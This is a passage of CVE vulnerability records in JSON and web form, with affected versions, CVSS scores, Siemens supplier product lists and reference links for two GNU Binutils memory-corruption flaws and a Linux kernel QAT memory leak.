                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:25.523Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "modules": [
            "ld"
          ],
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.0"
            },
            {
              "status": "affected",
              "version": "2.1"
            },
            {
              "status": "affected",
              "version": "2.2"
            },
            {
              "status": "affected",
              "version": "2.3"
            },
            {
              "status": "affected",
              "version": "2.4"
            },
            {
              "status": "affected",
              "version": "2.5"
            },
            {
              "status": "affected",
              "version": "2.6"
            },
            {
              "status": "affected",
              "version": "2.7"
            },
            {
              "status": "affected",
              "version": "2.8"
            },
            {
              "status": "affected",
              "version": "2.9"
            },
            {
              "status": "affected",
              "version": "2.10"
            },
            {
              "status": "affected",
              "version": "2.11"
            },
            {
              "status": "affected",
              "version": "2.12"
            },
            {
              "status": "affected",
              "version": "2.13"
            },
            {
              "status": "affected",
              "version": "2.14"
            },
            {
              "status": "affected",
              "version": "2.15"
            },
            {
              "status": "affected",
              "version": "2.16"
            },
            {
              "status": "affected",
              "version": "2.17"
            },
            {
              "status": "affected",
              "version": "2.18"
            },
            {
              "status": "affected",
              "version": "2.19"
            },
            {
              "status": "affected",
              "version": "2.20"
            },
            {
              "status": "affected",
              "version": "2.21"
            },
            {
              "status": "affected",
              "version": "2.22"
            },
            {
              "status": "affected",
              "version": "2.23"
            },
            {
              "status": "affected",
              "version": "2.24"
            },
            {
              "status": "affected",
              "version": "2.25"
            },
            {
              "status": "affected",
              "version": "2.26"
            },
            {
              "status": "affected",
              "version": "2.27"
            },
            {
              "status": "affected",
              "version": "2.28"
            },
            {
              "status": "affected",
              "version": "2.29"
            },
            {
              "status": "affected",
              "version": "2.30"
            },
            {
              "status": "affected",
              "version": "2.31"
            },
            {
              "status": "affected",
              "version": "2.32"
            },
            {
              "status": "affected",
              "version": "2.33"
            },
            {
              "status": "affected",
              "version": "2.34"
            },
            {
              "status": "affected",
              "version": "2.35"
            },
            {
              "status": "affected",
              "version": "2.36"
            },
            {
              "status": "affected",
              "version": "2.37"
            },
            {
              "status": "affected",
              "version": "2.38"
            },
            {
              "status": "affected",
              "version": "2.39"
            },
            {
              "status": "affected",
              "version": "2.40"
            },
            {
              "status": "affected",
              "version": "2.41"
            },
            {
              "status": "affected",
              "version": "2.42"
            },
            {
              "status": "affected",
              "version": "2.43"
            },
            {
              "status": "affected",
              "version": "2.44"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "lcyf-fizz (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability was found in GNU Binutils up to 2.44. It has been rated as critical. Affected by this issue is the function elf_gc_sweep of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 2.45 is able to address this issue. It is recommended to upgrade the affected component."
        },
        {
          "lang": "de",
          "value": "Eine kritische Schwachstelle wurde in GNU Binutils bis 2.44 ausgemacht. Es geht hierbei um die Funktion elf_gc_sweep der Datei bfd/elflink.c der Komponente ld. Durch die Manipulation mit unbekannten Daten kann eine memory corruption-Schwachstelle ausgenutzt werden. Der Angriff muss lokal passieren. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Ein Aktualisieren auf die Version 2.45 vermag dieses Problem zu l\u00f6sen. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 4.3,
            "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-119",
              "description": "Memory Corruption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-27T13:00:14.904Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-310346 | GNU Binutils ld elflink.c elf_gc_sweep memory corruption",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.310346"
        },
        {
          "name": "VDB-310346 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.310346"
        },
        {
          "name": "Submit #584634 | GNU Binutils ld  2.44 Memory Corruption",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.584634"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32858"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://sourceware.org/bugzilla/attachment.cgi?id=16010"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=d1458933830456e54223d9fc61f0d9b3a19256f5"
        },
        {
          "tags": [
            "broken-link",
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-05-27T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-05-27T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-05-27T10:12:13.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils ld elflink.c elf_gc_sweep memory corruption"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-5244",
    "datePublished": "2025-05-27T13:00:14.904Z",
    "dateReserved": "2025-05-27T08:07:03.937Z",
    "dateUpdated": "2026-05-12T12:02:25.523Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-7546 (GCVE-0-2025-7546)

Vulnerability from cvelistv5 – Published: 2025-07-13 22:02 – Updated: 2026-05-12 12:02

Title

GNU Binutils elf.c bfd_elf_set_group_contents out-of-bounds write

Summary

A vulnerability, which was classified as problematic, has been found in GNU Binutils 2.45. Affected by this issue is the function bfd_elf_set_group_contents of the file bfd/elf.c. The manipulation leads to out-of-bounds write. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The name of the patch is 41461010eb7c79fee7a9d5f6209accdaac66cc6b. It is recommended to apply a patch to fix this issue.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

5.3 (Medium)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

CWE

CWE-787 - Out-of-bounds Write
CWE-119 - Memory Corruption

Assigner

VulDB

References

8 references

URL	Tags
https://vuldb.com/?id.316244	vdb-entrytechnical-description
https://vuldb.com/?ctiid.316244	signaturepermissions-required
https://vuldb.com/?submit.614375	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=33050	issue-tracking
https://sourceware.org/bugzilla/show_bug.cgi?id=3…	issue-tracking
https://sourceware.org/bugzilla/attachment.cgi?id=16118	exploit
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	product

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.45

Credits

arthurx (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-7546",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-14T16:00:51.386955Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-14T16:00:55.446Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33050"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:36.072Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.45"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "arthurx (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability, which was classified as problematic, has been found in GNU Binutils 2.45. Affected by this issue is the function bfd_elf_set_group_contents of the file bfd/elf.c. The manipulation leads to out-of-bounds write. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The name of the patch is 41461010eb7c79fee7a9d5f6209accdaac66cc6b. It is recommended to apply a patch to fix this issue."
        },
        {
          "lang": "de",
          "value": "Eine problematische Schwachstelle wurde in GNU Binutils 2.45 entdeckt. Hierbei geht es um die Funktion bfd_elf_set_group_contents der Datei bfd/elf.c. Mittels dem Manipulieren mit unbekannten Daten kann eine out-of-bounds write-Schwachstelle ausgenutzt werden. Der Angriff muss lokal passieren. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Der Patch wird als 41461010eb7c79fee7a9d5f6209accdaac66cc6b bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 4.3,
            "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P/E:POC/RL:OF/RC:C",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-119",
              "description": "Memory Corruption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-13T22:02:07.589Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-316244 | GNU Binutils elf.c bfd_elf_set_group_contents out-of-bounds write",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.316244"
        },
        {
          "name": "VDB-316244 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.316244"
        },
        {
          "name": "Submit #614375 | GNU binutils--gdb 2.45 Out-of-bounds Write",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.614375"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33050"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33050#c2"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://sourceware.org/bugzilla/attachment.cgi?id=16118"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=41461010eb7c79fee7a9d5f6209accdaac66cc6b"
        },
        {
          "tags": [
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-07-12T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-07-12T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-07-12T19:05:22.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils elf.c bfd_elf_set_group_contents out-of-bounds write"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-7546",
    "datePublished": "2025-07-13T22:02:07.589Z",
    "dateReserved": "2025-07-12T17:00:15.332Z",
    "dateUpdated": "2026-05-12T12:02:36.072Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39493 (GCVE-0-2024-39493)

Vulnerability from cvelistv5 – Published: 2024-07-10 07:18 – Updated: 2026-05-12 11:55

Title

crypto: qat - Fix ADF_DEV_RESET_SYNC memory leak

Summary

In the Linux kernel, the following vulnerability has been resolved: crypto: qat - Fix ADF_DEV_RESET_SYNC memory leak Using completion_done to determine whether the caller has gone away only works after a complete call. Furthermore it's still possible that the caller has not yet called wait_for_completion, resulting in another potential UAF. Fix this by making the caller use cancel_work_sync and then freeing the memory safely.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0ce5964b82f212f4d…
https://git.kernel.org/stable/c/6396b33e98c096bff…
https://git.kernel.org/stable/c/a718b6d2a329e069b…
https://git.kernel.org/stable/c/3fb4601e0db10d4fe…
https://git.kernel.org/stable/c/e7428e7e3fe94a508…
https://git.kernel.org/stable/c/c2d443aa1ae3175c1…
https://git.kernel.org/stable/c/d0fd124972724cce0…
https://git.kernel.org/stable/c/d3b17c6d9dddc2db3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: daba62d9eeddcc5b1081be7d348ca836c83c59d7 , < 0ce5964b82f212f4df6a9813f09a0b5de15bd9c8 (git) Affected: 8e81cd58aee14a470891733181a47d123193ba81 , < 6396b33e98c096bff9c253ed49c008247963492a (git) Affected: d03092550f526a79cf1ade7f0dfa74906f39eb71 , < a718b6d2a329e069b27d9049a71be5931e71d960 (git) Affected: 4ae5a97781ce7d6ecc9c7055396535815b64ca4f , < 3fb4601e0db10d4fe25e46f3fa308d40d37366bd (git) Affected: 226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7 , < e7428e7e3fe94a5089dc12ffe5bc31574d2315ad (git) Affected: 8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc , < c2d443aa1ae3175c13a665f3a24b8acd759ce9c3 (git) Affected: 7d42e097607c4d246d99225bf2b195b6167a210c , < d0fd124972724cce0d48b9865ce3e273ef69e246 (git) Affected: 7d42e097607c4d246d99225bf2b195b6167a210c , < d3b17c6d9dddc2db3670bc9be628b122416a3d26 (git) Affected: 0c2cf5142bfb634c0ef0a1a69cdf37950747d0be (git) Affected: bb279ead42263e9fb09480f02a4247b2c287d828 (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.94 , ≤ 6.1.* (semver) Unaffected: 6.6.34 , ≤ 6.6.* (semver) Unaffected: 6.9.5 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39493",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-10T13:38:46.024569Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-10T13:39:00.365Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:26:16.000Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0ce5964b82f212f4df6a9813f09a0b5de15bd9c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6396b33e98c096bff9c253ed49c008247963492a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a718b6d2a329e069b27d9049a71be5931e71d960"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fb4601e0db10d4fe25e46f3fa308d40d37366bd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e7428e7e3fe94a5089dc12ffe5bc31574d2315ad"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c2d443aa1ae3175c13a665f3a24b8acd759ce9c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0fd124972724cce0d48b9865ce3e273ef69e246"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d3b17c6d9dddc2db3670bc9be628b122416a3d26"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:33.627Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/intel/qat/qat_common/adf_aer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0ce5964b82f212f4df6a9813f09a0b5de15bd9c8",
              "status": "affected",
              "version": "daba62d9eeddcc5b1081be7d348ca836c83c59d7",
              "versionType": "git"
            },
            {
              "lessThan": "6396b33e98c096bff9c253ed49c008247963492a",
              "status": "affected",
              "version": "8e81cd58aee14a470891733181a47d123193ba81",
              "versionType": "git"
            },
            {
              "lessThan": "a718b6d2a329e069b27d9049a71be5931e71d960",
              "status": "affected",
              "version": "d03092550f526a79cf1ade7f0dfa74906f39eb71",
              "versionType": "git"
            },
            {
              "lessThan": "3fb4601e0db10d4fe25e46f3fa308d40d37366bd",
              "status": "affected",
              "version": "4ae5a97781ce7d6ecc9c7055396535815b64ca4f",
              "versionType": "git"
            },
            {
              "lessThan": "e7428e7e3fe94a5089dc12ffe5bc31574d2315ad",
              "status": "affected",
              "version": "226fc408c5fcd23cc4186f05ea3a09a7a9aef2f7",
              "versionType": "git"
            },
            {
              "lessThan": "c2d443aa1ae3175c13a665f3a24b8acd759ce9c3",
              "status": "affected",
              "version": "8a5a7611ccc7b1fba8d933a9f22a2e76859d94dc",
              "versionType": "git"
            },
            {
              "lessThan": "d0fd124972724cce0d48b9865ce3e273ef69e246",
              "status": "affected",
              "version": "7d42e097607c4d246d99225bf2b195b6167a210c",
              "versionType": "git"
            },
            {
              "lessThan": "d3b17c6d9dddc2db3670bc9be628b122416a3d26",
              "status": "affected",
              "version": "7d42e097607c4d246d99225bf2b195b6167a210c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0c2cf5142bfb634c0ef0a1a69cdf37950747d0be",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "bb279ead42263e9fb09480f02a4247b2c287d828",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/intel/qat/qat_common/adf_aer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.94",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.34",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.19.312",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "5.4.274",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.94",
                  "versionStartIncluding": "6.1.84",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.34",
                  "versionStartIncluding": "6.6.24",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.5",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
